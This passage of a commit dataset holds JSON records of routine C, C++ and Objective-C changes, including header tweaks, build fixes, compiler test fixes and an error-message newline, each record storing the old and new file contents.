/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,praveenjha527\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,kennyledet\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,kidaa\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,imanmafi\/Algorithm-Implementations,AntonioModer\/Algorithm-Implementations,Sweet-kid\/Algorithm-Implementations,Etiene\/Algorithm-Implementations,mishin\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,isalnikov\/Algorithm-Implementations,movb\/Algorithm-Implementations,jb1717\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,warreee\/Algorithm-Implementations,n1ghtmare\/Algorithm-Implementations,rohanp\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,Yonaba\/Algorithm-Implementations,sugiartocokrowibowo\/Algorithm-Implementations,pravsingh\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,vikas17a\/Algorithm-Implementations,jiang42\/Algorithm-Implementations,joshimoo\/Algorithm-Implementations,imrandomizer\/Algorithm-Implementations,girishramnani\/Algorithm-Implementations,rohanp\/Algorithm-Implementations"}
{"commit":"e2b4f630a3880e4b30a960890672acf8dffa0dbd","old_file":"src\/units\/unit.h","new_file":"src\/units\/unit.h","old_contents":"\n#ifndef UNITS_UNIT_H_\n#define UNITS_UNIT_H_\n\n#include <SFML\/Graphics.hpp>\n\n#include \"engine\/instance.h\"\n#include \"base\/aliases.h\"\n\n\nclass Unit : public Instance {\n public:\n  Unit();\n  virtual ~Unit();\n\n  virtual void Step(sf::Time elapsed);\n\n  void set_life(unsigned life) {\n    life_ = life;\n  }\n\n  unsigned life() {\n    return life_;\n  }\n\n  void set_position(Vec2f pos) {\n    sprite_.set_position(pos);\n  }\n\n  Vec2f position() {\n    return sprite_.getPosition();\n  }\n\n  void set_movement_speed(Vec2f movement_speed) {\n    movement_speed_ = movement_speed;\n  }\n\n  void set_attack_speed(unsigned attack_speed) {\n    attack_speed_ = attack_speed;\n  }\n\n protected:\n  unsigned life_;\n  unsigned damage_;\n  unsigned attack_speed_;\n  Vec2f movement_speed_;\n};\n\n#endif  \/\/ UNITS_UNIT_H_\n","new_contents":"\n#ifndef UNITS_UNIT_H_\n#define UNITS_UNIT_H_\n\n#include <SFML\/Graphics.hpp>\n\n#include \"engine\/instance.h\"\n#include \"base\/aliases.h\"\n\n\nclass Unit : public Instance {\n public:\n  Unit();\n  virtual ~Unit();\n\n  virtual void Step(sf::Time elapsed);\n\n  void set_life(unsigned life) {\n    life_ = life;\n  }\n\n  unsigned life() {\n    return life_;\n  }\n\n  void set_position(Vec2f pos) {\n    sprite_.set_position(pos);\n  }\n\n  Vec2f position() {\n    return sprite_.position();\n  }\n\n  void set_movement_speed(Vec2f movement_speed) {\n    movement_speed_ = movement_speed;\n  }\n\n  void set_attack_speed(unsigned attack_speed) {\n    attack_speed_ = attack_speed;\n  }\n\n protected:\n  unsigned life_;\n  unsigned damage_;\n  unsigned attack_speed_;\n  Vec2f movement_speed_;\n};\n\n#endif  \/\/ UNITS_UNIT_H_\n","subject":"Rename function to the new version.","message":"Rename function to the new version.\n","lang":"C","license":"mit","repos":"davidgasquez\/loto,davidgasquez\/loto"}
{"commit":"92f64df6d3551bec6f5c14e78b1195a381f9fc11","old_file":"src\/isolate\/v8_version.h","new_file":"src\/isolate\/v8_version.h","old_contents":"\/\/ These macros weren't added until v8 version 4.4\n#include \"node_wrapper.h\"\n#ifndef V8_MAJOR_VERSION\n\t#if NODE_MODULE_VERSION <= 11\n\t\t#define V8_MAJOR_VERSION 3\n\t\t#define V8_MINOR_VERSION 14\n\t\t#define V8_PATCH_LEVEL 0\n\t#elif V8_MAJOR_VERSION <= 14\n\t\t#define V8_MAJOR_VERSION 3\n\t\t#define V8_MINOR_VERSION 28\n\t\t#define V8_PATCH_LEVEL 0\n\t#else\n\t\t#error v8 version macros missing\n\t#endif\n#endif\n\n#define V8_AT_LEAST(major, minor, patch) (\\\n\tV8_MAJOR_VERSION > (major) || \\\n\t(V8_MAJOR_VERSION == (major) && V8_MINOR_VERSION >= (minor)) || \\\n\t(V8_MAJOR_VERSION == (major) && V8_MINOR_VERSION == (minor) && V8_PATCH_LEVEL >= (patch)) \\\n)\n\n#define NODE_MODULE_OR_V8_AT_LEAST(nodejs, v8_major, v8_minor, v8_patch) (\\\n\tdefined(NODE_MODULE_VERSION) ? NODE_MODULE_VERSION >= nodejs : V8_AT_LEAST(v8_major, v8_minor, v8_patch) \\\n)\n","new_contents":"\/\/ These macros weren't added until v8 version 4.4\n#include \"node_wrapper.h\"\n#ifndef V8_MAJOR_VERSION\n\t#if NODE_MODULE_VERSION <= 11\n\t\t#define V8_MAJOR_VERSION 3\n\t\t#define V8_MINOR_VERSION 14\n\t\t#define V8_PATCH_LEVEL 0\n\t#elif V8_MAJOR_VERSION <= 14\n\t\t#define V8_MAJOR_VERSION 3\n\t\t#define V8_MINOR_VERSION 28\n\t\t#define V8_PATCH_LEVEL 0\n\t#else\n\t\t#error v8 version macros missing\n\t#endif\n#endif\n\n#define V8_AT_LEAST(major, minor, patch) (\\\n\tV8_MAJOR_VERSION > (major) || \\\n\t(V8_MAJOR_VERSION == (major) && V8_MINOR_VERSION >= (minor)) || \\\n\t(V8_MAJOR_VERSION == (major) && V8_MINOR_VERSION == (minor) && V8_PATCH_LEVEL >= (patch)) \\\n)\n\n#ifdef NODE_MODULE_VERSION\n#define NODE_MODULE_OR_V8_AT_LEAST(nodejs, v8_major, v8_minor, v8_patch) (NODE_MODULE_VERSION >= nodejs)\n#else\n#define NODE_MODULE_OR_V8_AT_LEAST(nodejs, v8_major, v8_minor, v8_patch) (V8_AT_LEAST(v8_major, v8_minor, v8_patch))\n#endif","subject":"Fix msvc preprocessor error (omg)","message":"Fix msvc preprocessor error (omg)\n","lang":"C","license":"isc","repos":"laverdet\/isolated-vm,laverdet\/isolated-vm,laverdet\/isolated-vm,laverdet\/isolated-vm"}
{"commit":"c5bccd7f4bf957d11ea9081eeea4e5aebdb43f46","old_file":"src\/string_metric.h","new_file":"src\/string_metric.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2016 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#pragma once\n\n#include \"metrics\/jaccard.h\"\n#include \"metrics\/jaro.h\"\n#include \"metrics\/jaro_winkler.h\"\n#include \"metrics\/levenshtein.h\"\n#include \"metrics\/sorensen_dice.h\"\n","subject":"Add include file for string metric","message":"Add include file for string metric\n","lang":"C","license":"mit","repos":"Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand,Kronuz\/Xapiand"}
{"commit":"2413283acfba846293a4476354cd2a88d79a8bb8","old_file":"arc\/arc\/Model\/FileSystem.h","new_file":"arc\/arc\/Model\/FileSystem.h","old_contents":"\/\/\n\/\/  FileSystem.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Folder.h\"\n\n@interface FileSystem : NSObject {\n    @private\n    Folder *_rootFolder; \/\/ The root folder.\n}\n\n\/\/ Returns the root folder of the entire file system.\n- (Folder*)getRootFolder;\n\n\/\/ Returns the single FileSystem instance.\n+ (FileSystem*)getInstance;\n\n@end\n","new_contents":"\/\/\n\/\/  FileSystem.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Folder.h\"\n\n@interface FileSystem : NSObject {\n    @private\n    Folder *_rootFolder; \/\/ The root folder.\n}\n\n\/\/ Returns the root folder of the entire file system.\n- (Folder*)getRootFolder;\n\n\/\/ Returns the single FileSystem instance.\n+ (FileSystem*)getInstance;\n\n\/\/ Returns an NSArray of FileObjects, corresponding to the contents\n\/\/ of the given folder.\n- (NSArray*)getFolderContents:(Folder*)folder;\n\n\/\/ Returns an NSString containing the contents of the given file.\n- (NSString*)getFileContents:(File*)file;\n\n@end\n","subject":"Add signatures for content retrieval methods.","message":"Add signatures for content retrieval methods.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"12fb043e39695727114f7d24e5e3b2911a79c7a4","old_file":"Cerberus.h","new_file":"Cerberus.h","old_contents":"#ifndef CERBERUS_H\n#define CERBERUS_H\n\n#include <iostream>\n#include \"ceres\/ceres.h\"\n\nusing namespace std;\nusing namespace ceres;\n\nclass Cerberus {\npublic:\n  Cerberus();\n\n  Solver::Options options;\n  LossFunction *loss;\n  Problem problem;\n  Solver::Summary summary;\n\n  void solve();\n  \n};\n\n#endif","new_contents":"#ifndef CERBERUS_H\n#define CERBERUS_H\n\n#include <iostream>\n#include \"ceres\/ceres.h\"\n#include \"ceres\/rotation.h\"\n\nusing namespace std;\nusing namespace ceres;\n\nclass Cerberus {\npublic:\n  Cerberus();\n\n  Solver::Options options;\n  LossFunction *loss;\n  Problem problem;\n  Solver::Summary summary;\n\n  void solve();\n};\n\n\/\/ Rt is a 4x3 transformation matrix of the form [R|t]. result is a\n\/\/ 6-dimensional vector with first three terms representing axis, magnitude\n\/\/ angle, and the last three terms represent translation\ntemplate <typename T> void TransformationMatrixToAngleAxisAndTranslation(T *Rt, T *result) {\n  RotationMatrixToAngleAxis<T>(MatrixAdapter<const T, 4, 1>(Rt), result);\n  result[3] = Rt[3];\n  result[4] = Rt[7];\n  result[5] = Rt[11];\n}\n\n\/\/ At is a 6-dimensional vector with first three terms representing axis,\n\/\/ magnitude angle, and the last three terms represent translation. Rt is a\n\/\/ 4x3 transformation matrix of the form [R|t].\ntemplate <typename T> void AngleAxisAndTranslationToTransformationMatrix(const T *At, T *result) {\n  AngleAxisToRotationMatrix<T>(At, MatrixAdapter<T, 4, 1>(result));\n  result[3] = At[3];\n  result[7] = At[4];\n  result[11] = At[5];\n}\n\n#endif","subject":"Add utility functions for converting to and from AngleAxis","message":"Add utility functions for converting to and from AngleAxis\n","lang":"C","license":"mit","repos":"danielsuo\/Cerberus,danielsuo\/Cerberus"}
{"commit":"38310122f3a4d99326320da14638ff9088a33b56","old_file":"src\/source\/libpetsc4py.c","new_file":"src\/source\/libpetsc4py.c","old_contents":"\/* ---------------------------------------------------------------- *\/\n\n#include <Python.h>\n\n\/* ---------------------------------------------------------------- *\/\n\n#define MPICH_SKIP_MPICXX 1\n#define OMPI_SKIP_MPICXX 1\n\n#include <petsc.h>\n\n\/* ---------------------------------------------------------------- *\/\n\n#include \"python_core.h\"\n\n#define PETSCMAT_DLL\n#include \"python_mat.c\"\n#undef  PETSCMAT_DLL\n\n#define PETSCKSP_DLL\n#include \"python_ksp.c\"\n#undef PETSCKSP_DLL\n\n#define PETSCKSP_DLL\n#include \"python_pc.c\"\n#undef PETSCKSP_DLL\n\n#define PETSCSNES_DLL\n#include \"python_snes.c\"\n#undef PETSCSNES_DLL\n\n#define PETSCTS_DLL\n#include \"python_ts.c\"\n#undef PETSCTS_DLL\n\n\/* ---------------------------------------------------------------- *\/\n","new_contents":"\/* ---------------------------------------------------------------- *\/\n\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n#if PY_VERSION_HEX < 0x02050000\ntypedef int Py_ssize_t;\n#endif\n\n\/* ---------------------------------------------------------------- *\/\n\n#define MPICH_SKIP_MPICXX 1\n#define OMPI_SKIP_MPICXX 1\n\n#include <petsc.h>\n\n\/* ---------------------------------------------------------------- *\/\n\n#include \"python_core.h\"\n\n#define PETSCMAT_DLL\n#include \"python_mat.c\"\n#undef  PETSCMAT_DLL\n\n#define PETSCKSP_DLL\n#include \"python_ksp.c\"\n#undef PETSCKSP_DLL\n\n#define PETSCKSP_DLL\n#include \"python_pc.c\"\n#undef PETSCKSP_DLL\n\n#define PETSCSNES_DLL\n#include \"python_snes.c\"\n#undef PETSCSNES_DLL\n\n#define PETSCTS_DLL\n#include \"python_ts.c\"\n#undef PETSCTS_DLL\n\n\/* ---------------------------------------------------------------- *\/\n","subject":"Fix build failure with Python<=2.4 and PETSc<=3.1","message":"Fix build failure with Python<=2.4 and PETSc<=3.1\n","lang":"C","license":"bsd-2-clause","repos":"zonca\/petsc4py,zonca\/petsc4py,zonca\/petsc4py,zonca\/petsc4py"}
{"commit":"2b2f2991586e9aa843221f629df29596f8bfc6da","old_file":"test\/Frontend\/dependency-generation-crash.c","new_file":"test\/Frontend\/dependency-generation-crash.c","old_contents":"\/\/ RUN: not %clang_cc1 -E -dependency-file bla -MT %t\/doesnotexist\/bla.o -MP -o $t\/doesnotexist\/bla.o -x c \/dev\/null 2>&1 | FileCheck %s\n\n\/\/ CHECK: error: unable to open output file\n\n\/\/ rdar:\/\/9286457\n","new_contents":"\/\/ RUN: not %clang_cc1 -E -dependency-file bla -MT %t\/doesnotexist\/bla.o -MP -o %t\/doesnotexist\/bla.o -x c \/dev\/null 2>&1 | FileCheck %s\n\n\/\/ CHECK: error: unable to open output file\n\n\/\/ rdar:\/\/9286457\n","subject":"Fix typo in my last commit.","message":"Fix typo in my last commit.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@231039 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ffbfac16b089edc2ce0ff219bb6f8f8fc679f132","old_file":"include\/libport\/detect-win32.h","new_file":"include\/libport\/detect-win32.h","old_contents":"\/*\n * Copyright (C) 2008-2010, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n#ifndef LIBPORT_DETECT_WIN32_H\n# define LIBPORT_DETECT_WIN32_H\n\n# ifndef WIN32\n#  if defined LIBPORT_WIN32 || defined _MSC_VER\n#   define WIN32\n#  endif\n# endif\n\n\n# ifdef WIN32\n\n\/\/ Normalize to 1\n#  undef WIN32\n#  define WIN32 1\n\n#  ifndef _WIN32_WINNT\n#   define _WIN32_WINNT 0x0400\n#  endif\n\n# endif \/* !WIN32 *\/\n\n\n# ifdef WIN32\n#  define WIN32_IF(Then, Else) Then\n#  define EXEEXT \".exe\"\n# else\n#  define WIN32_IF(Then, Else) Else\n#  define EXEEXT \"\"\n# endif\n\n#endif \/\/ !LIBPORT_DETECT_WIN32_H\n","new_contents":"\/*\n * Copyright (C) 2008-2011, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n#ifndef LIBPORT_DETECT_WIN32_H\n# define LIBPORT_DETECT_WIN32_H\n\n# ifndef WIN32\n#  if defined LIBPORT_WIN32 || defined _MSC_VER\n#   define WIN32\n#  endif\n# endif\n\n\n# ifdef WIN32\n\n\/\/ Normalize to 1\n#  undef WIN32\n#  define WIN32 1\n\n#  ifndef _WIN32_WINNT\n\n\/\/ Boost 1.47 uses InitializeCriticalSectionAndSpinCount which is\n\/\/ defined starting at 0x403\n\/\/ (http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms683476(v=vs.85).aspx).\n\n#   define _WIN32_WINNT 0x0403\n#  endif\n\n# endif \/* !WIN32 *\/\n\n\n# ifdef WIN32\n#  define WIN32_IF(Then, Else) Then\n#  define EXEEXT \".exe\"\n# else\n#  define WIN32_IF(Then, Else) Else\n#  define EXEEXT \"\"\n# endif\n\n#endif \/\/ !LIBPORT_DETECT_WIN32_H\n","subject":"Boost 1.47 on Windows: require _WIN32_WINNT 0x0403.","message":"Boost 1.47 on Windows: require _WIN32_WINNT 0x0403.\n\n\t* include\/libport\/detect-win32.h: here.\n","lang":"C","license":"bsd-3-clause","repos":"aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport"}
{"commit":"1eb469e28be333e475b9b8b7c05d23c707ef2cad","old_file":"Libs\/PublicHeaders.h","new_file":"Libs\/PublicHeaders.h","old_contents":"\/\/\n\/\/  PublicHeaders.h\n\/\/  Insider\n\/\/\n\/\/  Created by Alexandru Maimescu on 3\/2\/16.\n\/\/  Copyright © 2016 Alex Maimescu. All rights reserved.\n\/\/\n\n#ifndef PublicHeaders_h\n#define PublicHeaders_h\n\n\/\/ GCDWebServer https:\/\/github.com\/swisspol\/GCDWebServer\n\n#import <Insider\/GCDWebServer.h>\n#import <Insider\/GCDWebServerURLEncodedFormRequest.h>\n#import <Insider\/GCDWebServerDataResponse.h>\n\n\/\/ iOS-System-Services https:\/\/github.com\/Shmoopi\/iOS-System-Services\n\n#import <Insider\/SystemServices.h>\n\n#endif \/* PublicHeaders_h *\/\n","new_contents":"\/\/\n\/\/  PublicHeaders.h\n\/\/  Insider\n\/\/\n\/\/  Created by Alexandru Maimescu on 3\/2\/16.\n\/\/  Copyright © 2016 Alex Maimescu. All rights reserved.\n\/\/\n\n#ifndef PublicHeaders_h\n#define PublicHeaders_h\n\n\/\/ GCDWebServer https:\/\/github.com\/swisspol\/GCDWebServer\n\n#import \"GCDWebServer.h\"\n#import \"GCDWebServerURLEncodedFormRequest.h\"\n#import \"GCDWebServerDataResponse.h\"\n\n\/\/ iOS-System-Services https:\/\/github.com\/Shmoopi\/iOS-System-Services\n\n#import \"SystemServices.h\"\n\n#endif \/* PublicHeaders_h *\/\n","subject":"Update imports in umbrella header.","message":"Update imports in umbrella header.\n","lang":"C","license":"mit","repos":"alexmx\/Insider,alexmx\/Insider,alexmx\/Insider,alexmx\/Insider,alexmx\/Insider,alexmx\/Insider"}
{"commit":"ad42abb933a1801721a5f0abe6bdb70bc8d70334","old_file":"components\/libc\/compilers\/newlib\/libc.c","new_file":"components\/libc\/compilers\/newlib\/libc.c","old_contents":"\/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2017\/10\/15     bernard      the first version\n *\/\n#include <rtthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <sys\/time.h>\n\n#include \"libc.h\"\n\n#ifdef RT_USING_PTHREADS\n#include <pthread.h>\n#endif\n\nint\t_EXFUN(putenv,(char *__string));\n\nint libc_system_init(void)\n{\n#if defined(RT_USING_DFS) & defined(RT_USING_DFS_DEVFS) & defined(RT_USING_CONSOLE)\n    rt_device_t dev_console;\n\n    dev_console = rt_console_get_device();\n    if (dev_console)\n    {\n    #if defined(RT_USING_POSIX)\n        libc_stdio_set_console(dev_console->parent.name, O_RDWR);\n    #else\n        libc_stdio_set_console(dev_console->parent.name, O_WRONLY);\n    #endif\n    }\n#endif\n\n    \/* set PATH and HOME *\/\n    putenv(\"PATH=\/bin\");\n    putenv(\"HOME=\/home\");\n\n#if defined RT_USING_PTHREADS && !defined RT_USING_COMPONENTS_INIT\n    pthread_system_init();\n#endif\n\n    return 0;\n}\nINIT_COMPONENT_EXPORT(libc_system_init);\n","new_contents":"\/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2017\/10\/15     bernard      the first version\n *\/\n#include <rtthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <sys\/time.h>\n\n#include \"libc.h\"\n\n#ifdef RT_USING_PTHREADS\n#include <pthread.h>\n#endif\n\nint\t_EXFUN(putenv,(char *__string));\n\nint libc_system_init(void)\n{\n#if defined(RT_USING_DFS) & defined(RT_USING_DFS_DEVFS) & defined(RT_USING_CONSOLE)\n    rt_device_t dev_console;\n\n    dev_console = rt_console_get_device();\n    if (dev_console)\n    {\n    #if defined(RT_USING_POSIX)\n        libc_stdio_set_console(dev_console->parent.name, O_RDWR);\n    #else\n        libc_stdio_set_console(dev_console->parent.name, O_WRONLY);\n    #endif\n    }\n\n    \/* set PATH and HOME *\/\n    putenv(\"PATH=\/bin\");\n    putenv(\"HOME=\/home\");\n#endif\n\n#if defined RT_USING_PTHREADS && !defined RT_USING_COMPONENTS_INIT\n    pthread_system_init();\n#endif\n\n    return 0;\n}\nINIT_COMPONENT_EXPORT(libc_system_init);\n","subject":"Disable ENV when disable DFS.","message":"[Libc] Disable ENV when disable DFS.\n","lang":"C","license":"apache-2.0","repos":"AubrCool\/rt-thread,zhaojuntao\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,zhaojuntao\/rt-thread,AubrCool\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,igou\/rt-thread,igou\/rt-thread,ArdaFu\/rt-thread,armink\/rt-thread,weety\/rt-thread,zhaojuntao\/rt-thread,FlyLu\/rt-thread,nongxiaoming\/rt-thread,RT-Thread\/rt-thread,igou\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,AubrCool\/rt-thread,armink\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread,FlyLu\/rt-thread,weiyuliang\/rt-thread,weiyuliang\/rt-thread,zhaojuntao\/rt-thread,geniusgogo\/rt-thread,nongxiaoming\/rt-thread,RT-Thread\/rt-thread,ArdaFu\/rt-thread,gbcwbz\/rt-thread,FlyLu\/rt-thread,RT-Thread\/rt-thread,weety\/rt-thread,ArdaFu\/rt-thread,zhaojuntao\/rt-thread,nongxiaoming\/rt-thread,geniusgogo\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,geniusgogo\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,AubrCool\/rt-thread,igou\/rt-thread,wolfgangz2013\/rt-thread,weety\/rt-thread,nongxiaoming\/rt-thread,weiyuliang\/rt-thread,AubrCool\/rt-thread,AubrCool\/rt-thread,wolfgangz2013\/rt-thread,geniusgogo\/rt-thread,ArdaFu\/rt-thread,ArdaFu\/rt-thread,zhaojuntao\/rt-thread,FlyLu\/rt-thread,gbcwbz\/rt-thread,wolfgangz2013\/rt-thread,weiyuliang\/rt-thread,ArdaFu\/rt-thread,weety\/rt-thread,gbcwbz\/rt-thread,hezlog\/rt-thread,gbcwbz\/rt-thread,geniusgogo\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,geniusgogo\/rt-thread,wolfgangz2013\/rt-thread,nongxiaoming\/rt-thread,hezlog\/rt-thread,nongxiaoming\/rt-thread,AubrCool\/rt-thread,armink\/rt-thread,gbcwbz\/rt-thread,weety\/rt-thread,RT-Thread\/rt-thread,weety\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,weety\/rt-thread,ArdaFu\/rt-thread,gbcwbz\/rt-thread,wolfgangz2013\/rt-thread,wolfgangz2013\/rt-thread,igou\/rt-thread,armink\/rt-thread,hezlog\/rt-thread,weiyuliang\/rt-thread,FlyLu\/rt-thread,igou\/rt-thread,weiyuliang\/rt-thread,RT-Thread\/rt-thread,gbcwbz\/rt-thread"}
{"commit":"82fc0cb7883747942326d6d6ca1333b27bd647f0","old_file":"test\/Preprocessor\/optimize.c","new_file":"test\/Preprocessor\/optimize.c","old_contents":"\/\/ RUN: clang-cc -Eonly optimize.c -DOPT_O2 -O2 -verify &&\n#ifdef OPT_O2\n  #ifndef __OPTIMIZE__\n    #error \"__OPTIMIZE__ not defined\"\n  #endif\n  #ifdef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ defined\"\n  #endif\n#endif\n\n\/\/ RUN: clang-cc -Eonly optimize.c -DOPT_O0 -O0 -verify &&\n#ifdef OPT_O0\n  #ifdef __OPTIMIZE__\n    #error \"__OPTIMIZE__ defined\"\n  #endif\n  #ifdef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ defined\"\n  #endif\n#endif\n\n\/\/ RUN: clang-cc -Eonly optimize.c -DOPT_OS -Os -verify\n#ifdef OPT_OS\n  #ifndef __OPTIMIZE__\n    #error \"__OPTIMIZE__ not defined\"\n  #endif\n  #ifndef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ not defined\"\n  #endif\n#endif\n","new_contents":"\/\/ RUN: clang-cc -Eonly %s -DOPT_O2 -O2 -verify &&\n#ifdef OPT_O2\n  #ifndef __OPTIMIZE__\n    #error \"__OPTIMIZE__ not defined\"\n  #endif\n  #ifdef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ defined\"\n  #endif\n#endif\n\n\/\/ RUN: clang-cc -Eonly %s -DOPT_O0 -O0 -verify &&\n#ifdef OPT_O0\n  #ifdef __OPTIMIZE__\n    #error \"__OPTIMIZE__ defined\"\n  #endif\n  #ifdef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ defined\"\n  #endif\n#endif\n\n\/\/ RUN: clang-cc -Eonly %s -DOPT_OS -Os -verify\n#ifdef OPT_OS\n  #ifndef __OPTIMIZE__\n    #error \"__OPTIMIZE__ not defined\"\n  #endif\n  #ifndef __OPTIMIZE_SIZE\n    #error \"__OPTIMIZE_SIZE__ not defined\"\n  #endif\n#endif\n","subject":"Use %s in test, not hard coded name.","message":"Use %s in test, not hard coded name.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@68521 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"de93b2b6ea080ae28451ab9448e3628e55361dc2","old_file":"src\/safe_memory.c","new_file":"src\/safe_memory.c","old_contents":"#include \"safe-c\/safe_memory.h\"\n\n#include <stdio.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    if (size == 0)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' and requested zero memory. The pointer should \"\n                \"be explicitly set to NULL instead.\\n\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' requesting %zu bytes of memory, but an error \"\n                \"occurred allocating this amount of memory. Exiting\",\n                calling_function, size);\n        exit(EXIT_FAILURE);\n    }\n    memory = memset(memory, 0, size);\n    return memory;\n}\n\nvoid safe_free_function(void** pointer_address)\n{\n    if (pointer_address != NULL)\n    {\n        free(*pointer_address);\n        *pointer_address = NULL;\n    }\n}\n","new_contents":"#include \"safe-c\/safe_memory.h\"\n\n#include <stdio.h>\n#include <string.h>\n\nvoid* safe_malloc_function(size_t size, const char* calling_function)\n{\n    if (size == 0)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' and requested zero memory. The pointer should \"\n                \"be explicitly set to NULL instead.\\n\",\n                calling_function);\n        exit(EXIT_FAILURE);\n    }\n\n    void* memory = malloc(size);\n    if (!memory)\n    {\n        fprintf(stderr, \"Error allocating memory: The function %s called \"\n                \"'safe_malloc' requesting %zu bytes of memory, but an error \"\n                \"occurred allocating this amount of memory.\\n\",\n                calling_function, size);\n        exit(EXIT_FAILURE);\n    }\n    memory = memset(memory, 0, size);\n    return memory;\n}\n\nvoid safe_free_function(void** pointer_address)\n{\n    if (pointer_address != NULL)\n    {\n        free(*pointer_address);\n        *pointer_address = NULL;\n    }\n}\n","subject":"Add newline to error message in safe_malloc.","message":"Add newline to error message in safe_malloc.\n\nThe message that is printed when safe_malloc fails to allocate memory was missing a newline character.\n","lang":"C","license":"mit","repos":"VanJanssen\/safe-c,VanJanssen\/elegan-c,ErwinJanssen\/elegan-c"}
